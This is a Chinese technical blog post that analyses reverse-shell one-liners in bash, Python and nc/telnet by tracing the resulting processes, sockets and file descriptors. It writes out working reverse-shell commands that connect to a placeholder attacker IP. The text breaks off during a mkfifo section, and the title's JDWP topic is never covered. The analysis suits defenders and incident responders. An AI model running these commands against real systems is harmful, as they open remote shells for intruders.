java jdwp_利用 JAVA 调试协议 JDWP 实现反弹 shell

说明

前面已经有两篇文章介绍了有关反弹shell的内容,使用Java反弹shell和绕过exec获取反弹shell。之前的文章主要聚焦如何使用java来反弹shell。网上的各种文章也是将各种反弹shell的一句话的写法。但是鲜有文章分析不同反弹shell的方式之间的差异性,以及反弹shell之间的进程关联。

初识

BASH

还是以最为简单的反弹shell为例来说明情况:

bash -i >& /dev/tcp/ip/port 0>&1

在本例中,我使用8888端口反弹shell

我们使用ss和lsof查询信息:

ss -anptw | grep 8888

tcp ESTAB 0 0 172.16.1.2:56862 ip:8888 users:(("bash",pid=13662,fd=2),("bash",pid=13662,fd=1),("bash",pid=13662,fd=0))

lsof -i:8888

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

bash 13662 username 0u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)

bash 13662 username 1u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)

bash 13662 username 2u IPv4 518699 0t0 TCP dev:56862->ip:8888 (ESTABLISHED)

通过分析,确实与ip:8888建立了网络链接,并且文件描述符0/1/2均建立了网络链接。分析下其中的进程关系

ps -ef | grep 13662

username 13662 13645 0 16:56 pts/7 00:00:00 bash -i

username 13645 13332 0 16:55 pts/7 00:00:00 /bin/bash

username 13662 13645 0 16:56 pts/7 00:00:00 bash -i

当前网络链接的进程的PID是13662,进程是bash -i。而父进程是13645,是/bin/bash进程。

Python

以Python为例继续分析:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用Python反弹shell的原理和上面bash -i >& /dev/tcp/ip/port 0>&1相同,只不过外面使用了Python封装了一下。查看信息:

ss -anptw | grep 8888

tcp ESTAB 0 0 172.16.1.2:59690 IP:8888 users:(("sh",pid=19802,fd=3),("sh",pid=19802,fd=2),("sh",pid=19802,fd=1),("sh",pid=19802,fd=0),("python",pid=19801,fd=3),("python",pid=19801,fd=2),("python",pid=19801,fd=1),("python",pid=19801,fd=0))

lsof -i:8888

COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

python 19801 username 0u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

python 19801 username 1u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

python 19801 username 2u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

python 19801 username 3u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

sh 19802 username 0u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

sh 19802 username 1u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

sh 19802 username 2u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

sh 19802 username 3u IPv4 593062 0t0 TCP usernamedev:59690->IP:8888 (ESTABLISHED)

真正进行网络通信的是进程是PID为19802的Sh进程,其父进程是19801进程。如下:

ps -ef | grep 19802

username 19802 19801 0 19:46 pts/7 00:00:00 /bin/sh -i

ps -ef | grep 19801

username 19801 19638 0 19:46 pts/7 00:00:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

username 19802 19801 0 19:46 pts/7 00:00:00 /bin/sh -i

所以使用Python反弹shell的原理其实就是使用Python开启了/bin/sh -i,利用/bin/sh -i完成反弹shell。

Telnet

telnet IP 8888 | /bin/bash | telnet IP 9999

当然上面的写法还可以换成nc IP 8888 | /bin/bash | nc IP 9999,本质上都是一样的。以nc IP 8888 | /bin/bash | nc IP 9999为例来进行说明:

这种方式需要在远程服务器上面监听8888和9999端口。分析其中的进程关系:

ss -anptw | grep 8888

tcp ESTAB 0 0 172.16.1.2:33562 IP:8888 users:(("nc",pid=21613,fd=3))

ss -anptw | grep 9999

tcp ESTAB 0 0 172.16.1.2:35876 IP:9999 users:(("nc",pid=21615,fd=3))

ps -ef | grep 15166

username 15166 7593 0 17:32 pts/10 00:00:00 zsh

username 21613 15166 0 20:18 pts/10 00:00:00 nc IP 8888

username 21614 15166 0 20:18 pts/10 00:00:00 /bin/bash

username 21615 15166 0 20:18 pts/10 00:00:00 nc IP 9999

可以看到/bin/bash和两个nc的父进程是相同的,都是zsh进程。

那么 这三个进程之间是如何进行通信的呢?我们来分别看三者之间的fd。

21614

ls -al /proc/21614/fd

dr-x------ 2 username username 0 Apr 10 20:19 .

dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..

lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618298]'

l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618300]'

lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10

21613

ls -al /proc/21613/fd

dr-x------ 2 username username 0 Apr 10 20:19 .

dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..

lrwx------ 1 username username 64 Apr 10 20:19 0 -> /dev/pts/10

l-wx------ 1 username username 64 Apr 10 20:19 1 -> 'pipe:[618298]'

lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10

lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[617199]'

21615

ls -al /proc/21615/fd

dr-x------ 2 username username 0 Apr 10 20:19 .

dr-xr-xr-x 9 username username 0 Apr 10 20:19 ..

lr-x------ 1 username username 64 Apr 10 20:19 0 -> 'pipe:[618300]'

lrwx------ 1 username username 64 Apr 10 20:19 1 -> /dev/pts/10

lrwx------ 1 username username 64 Apr 10 20:19 2 -> /dev/pts/10

lrwx------ 1 username username 64 Apr 10 20:19 3 -> 'socket:[619628]'

那么这三者之间的关系如下图所示:

66da9d73d24211514e27bbcdcce8c91e.png

这样在IP:8888中输出命令就能够在IP:9999中看到输出。

mkfifo

在介绍mkfifo之前,需要了解一些有关Linux中与管道相关的知识。管道是一种最基本的IPC机制,主要是用于进程间的通信,完成数据传递。管道常见的就是平时看到的pipe。pipe是一种匿名管道,匿名管道只能用于有亲系关系的进程间通信,即只能在父进程与子进程或兄弟进程间通信。而通过mkfifo创建的管道是有名管道,有名管道就是用于没有情缘关系之间的进程通信。

而通信方式又分为:单工通信、半双工通信、全双工通信。

单工通信:单工数据传输只支持数据在一个方向上传输,就和传呼机一样。例如信息只能由一方A传到另一方B,一旦确定传-输方和接受方之后,就不能改变了,只能是一方接受数据,另一方发发送数据。

半双工通信:数据传输指数据可以在一个信号载体的两个方向上传输,但是不能同时传输。在半双工模式下,双方都可以作为数据的发送放和接受方,但是在同一个时刻只能是一方向另一方发送数据。

全双工通信:通信双方都能在同一时刻进行发送和接收数据。这种模式就像电话一样,双方在听对方说话的同时自己也可以说话。

通过mkfifo创建的有名管道就是一个半双工的管道。例如:

mkfifo /tmp/f

ls -al /tmp/f

prw-r--r-- 1 username username 0 Apr 14 15:30 /tmp/f

通过

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值